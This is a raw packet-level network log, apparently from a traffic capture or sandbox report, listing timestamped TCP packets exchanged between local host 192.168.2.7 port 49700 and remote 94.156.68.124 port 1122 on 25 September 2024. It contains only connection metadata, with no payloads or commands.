Sep 25, 2024 01:11:12.054996014 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.055006981 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.055053949 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.055110931 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.055171013 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.055208921 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.055249929 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.055263042 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.055278063 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.055293083 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.055294037 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.055331945 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.055481911 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.055501938 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.055517912 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.055532932 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.055536032 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.055581093 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.055711031 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.055725098 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.055740118 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.055754900 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.055759907 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.055771112 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.055788994 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.055797100 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.055824041 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.055962086 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.055977106 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.055990934 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.056020975 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.056076050 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.056101084 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.056113958 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.056117058 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.056130886 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.056144953 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.056149960 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.056175947 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.056334019 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.056346893 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.056365967 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.056380987 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.056380987 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.056395054 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.056410074 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.056412935 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.056426048 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.056441069 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.056448936 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.056454897 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.056473017 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.056744099 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.056757927 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.056773901 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.056781054 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.056792021 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.056807041 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.056807995 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.056827068 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.056839943 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.057035923 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.057049990 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.057065964 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.057074070 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.057081938 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.057096004 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.057102919 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.057111025 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.057126045 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.057137966 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.057163000 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.057451010 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.057466030 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.057480097 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.057496071 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.057507038 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.057512045 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.057528019 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.057538986 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.057543993 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.057564020 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.057929039 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.057945013 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.057959080 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.057970047 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.057975054 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.057990074 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.057996988 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.058007956 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.058022022 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.058022976 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.058038950 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.058053970 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.058060884 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.058072090 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.058088064 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.058088064 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.058125973 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.058598042 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.058614969 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.058629990 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.058644056 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.058659077 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.058659077 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.058676004 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.058682919 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.058692932 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.058708906 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.058712006 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.058725119 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.058739901 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.058744907 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.058762074 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.058777094 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.058778048 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.058794022 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.058809042 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.058815956 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.058825970 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.058840036 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.058850050 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.058857918 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.058873892 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.059506893 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.059524059 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.059539080 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.059554100 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.059555054 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.059568882 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.059577942 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.059586048 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.059598923 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.059603930 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.059614897 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.059629917 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.059633017 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.059647083 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.059663057 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.059670925 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.059676886 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.059693098 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.059695005 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.059708118 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.059722900 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.059735060 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.059740067 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.059753895 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.059757948 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.059793949 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.060285091 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.060302973 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.060321093 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.060342073 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.060345888 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.060376883 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.135740042 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.135776043 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.135792971 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.135818958 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.135833979 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.135852098 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.135876894 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.135917902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.135934114 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.135948896 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.135952950 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.135984898 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.136089087 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.136104107 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.136121035 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.136136055 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.136148930 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.136152029 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.136169910 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.136353970 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.136373043 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.136398077 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.136399031 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.136414051 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.136435032 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.136585951 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.136603117 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.136616945 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.136627913 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.136632919 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.136650085 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.136651039 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.136665106 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.136691093 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.136856079 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.136873007 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.136898994 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.141921997 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.141963005 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.141969919 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.141980886 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.142019987 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.142138004 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.142153978 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.142170906 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.142191887 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.142278910 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.142294884 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.142317057 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.142450094 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.142467022 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.142482996 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.142491102 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.142499924 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.142515898 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.142530918 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.142543077 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.142549038 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.142573118 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.142596006 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.142863989 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.142879963 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.142895937 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.142910957 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.142919064 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.142926931 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.142941952 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.142952919 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.142957926 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.142978907 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.143152952 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.143170118 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.143191099 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.143219948 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.143234968 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.143249989 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.143256903 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.143268108 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.143291950 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.143627882 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.143646002 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.143661976 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.143671036 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.143687963 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.143696070 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.143704891 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.143721104 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.143737078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.143738985 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.143753052 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.143769026 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.143771887 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.143814087 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.144213915 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.144231081 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.144246101 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.144259930 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.144272089 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.144275904 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.144290924 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.144292116 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.144309998 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.144325972 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.144332886 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.144361973 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.144757032 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.144772053 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.144788027 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.144802094 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.144818068 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.144818068 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.144833088 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.144839048 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.144850016 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.144865990 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.144866943 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.144906044 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.145210028 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.145224094 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.145237923 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.145252943 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.145262957 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.145267010 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.145282984 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.145282984 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.145298958 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.145314932 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.145319939 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.145328999 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.145344973 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.145354033 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.145363092 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.145378113 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.145390034 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.145416021 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.145889997 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.145906925 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.145920992 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.145935059 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.145951033 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.145965099 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.145965099 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.145981073 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.145982981 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.146006107 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.146008015 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.146022081 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.146038055 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.146050930 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.146053076 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.146070004 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.146075010 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.146084070 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.146100044 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.146102905 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.146116018 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.146128893 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.146141052 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.146145105 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.146163940 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.146164894 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.146203041 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.146816015 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.146836042 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.146851063 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.146866083 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.146879911 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.146888018 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.146897078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.146913052 CEST	1122	49700	94.156.68.124	192.168.2.7
